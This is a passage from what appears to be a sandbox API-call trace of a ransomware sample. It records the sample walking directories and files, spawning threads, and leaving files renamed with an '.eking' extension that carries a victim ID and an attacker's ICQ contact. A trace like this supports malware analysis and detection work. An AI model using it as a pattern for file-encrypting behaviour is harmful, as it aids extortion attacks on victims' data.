ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0294.876] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0294.876] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0294.876] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0294.877] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0294.878] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0294.878] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0294.878] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0294.878] ResetEvent (hEvent=0x2a0) returned 1 [0294.878] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0294.896] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0294.896] ResetEvent (hEvent=0x2a0) returned 1 [0294.896] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.898] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0294.898] ResetEvent (hEvent=0x2a0) returned 1 [0294.898] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.914] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0294.914] ResetEvent (hEvent=0x2a0) returned 1 [0294.914] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0295.202] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0295.202] ResetEvent (hEvent=0x2a0) returned 1 [0295.202] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0295.213] ResetEvent (hEvent=0x2a0) returned 1 [0295.213] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 102 os_tid = 0x63c [0274.847] GetProcessHeap () returned 0xaf0000 [0274.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x38) returned 0xb03008 [0274.847] GetProcessHeap () returned 0xaf0000 [0274.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x18) returned 0xb010f8 [0274.847] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0274.847] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4 [0274.847] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8 [0274.847] GetProcessHeap () returned 0xaf0000 [0274.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb64128 [0274.848] GetProcessHeap () returned 0xaf0000 [0274.848] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb74130 [0274.848] GetProcessHeap () returned 0xaf0000 [0274.848] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0274.848] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.848] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.848] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcfe0c | out: OldValue=0x2fcfe0c*=0x0) returned 1 [0274.849] GetProcessHeap () returned 0xaf0000 [0274.849] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0274.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2fcfe14, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0274.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2fcfe14, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0274.850] GetProcessHeap () returned 0xaf0000 [0274.850] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb84138 [0274.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xb02c48 [0274.851] GetProcessHeap () returned 0xaf0000 [0274.851] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb94140 [0274.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0274.852] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.852] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0274.852] GetProcessHeap () returned 0xaf0000 [0274.852] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0274.854] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.854] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2697217, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2697217, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc26bb503, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DOWNLE~1.EKI")) returned 1 [0274.854] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2648d68, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2648d68, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc281293c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="OOBE_2~1.EKI")) returned 1 [0274.854] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0274.854] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 0 [0274.854] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0274.855] GetProcessHeap () returned 0xaf0000 [0274.855] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0274.856] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0274.856] GetProcessHeap () returned 0xaf0000 [0274.856] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0274.857] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2838bcd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2838bcd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc285f08e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~1.EKI")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285f08e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc285f08e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~2.EKI")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28ab2d9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0274.858] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28ab2d9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28ab2d9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, 